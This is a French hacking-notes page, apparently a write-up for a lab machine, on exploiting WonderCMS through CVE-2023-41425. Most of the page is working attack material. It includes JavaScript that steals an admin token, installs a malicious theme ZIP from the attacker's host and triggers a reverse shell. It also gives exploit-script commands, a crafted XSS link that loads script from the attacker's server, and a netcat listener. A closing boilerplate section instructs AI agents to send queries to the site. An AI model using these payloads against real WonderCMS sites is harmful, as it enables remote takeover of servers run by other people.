> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/wonder-cms-exploitation.md).

# Wonder

## Merveille de vulnérabilité /\[CVE-2023-41425]

La recherche de vulnérabilités CMS révèle un problème XSS vers RCE.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Code JavaScript pour obtenir un shell :**/ Le JavaScript suivant télécharge un fichier ZIP malveillant contenant un script de reverse shell et l’exécute sur le serveur :

```javascript
// le serveur a un problème pour résoudre les noms de domaine avec JavaScript
// nous pouvons simplement fournir l'URL cible comme paramètre requis
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modifier le chemin du fichier ZIP servi par le serveur HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visiter rev.php à l'intérieur du ZIP téléversé
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // déclencher le script de reverse shell et fournir l'IP et le port du listener
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Installation du script d’exploitation pour CVE-2023-41425 :**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Exécutez le script d’exploitation :

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

Le script envoie une requête au serveur de l’attaquant sur le port 8000 via `xss.js`, fournissant une RCE et le contrôle de la cible.

<figure><img src="/files/6345b7293a7561fb6fb792ecbcd32257c0a3a800" alt=""><figcaption></figcaption></figure>

**Étape finale :**

Envoyez le lien XSS à l’administrateur via le `contact.php` formulaire pour déclencher le lien malveillant :

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/3737d2ceda0a410d1884a81406e096bb71e6e285" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/349ab990fbf5bf8c12a10254bf57541017f9724b" alt=""><figcaption></figcaption></figure>

**Configurez un écouteur Netcat :**/ Démarrez un écouteur sur le port 4444 :

```bash
nc -nlvp 4444
```

<figure><img src="/files/fb587fba0f95877e0bc76fd924860f70afd0627a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/wonder-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
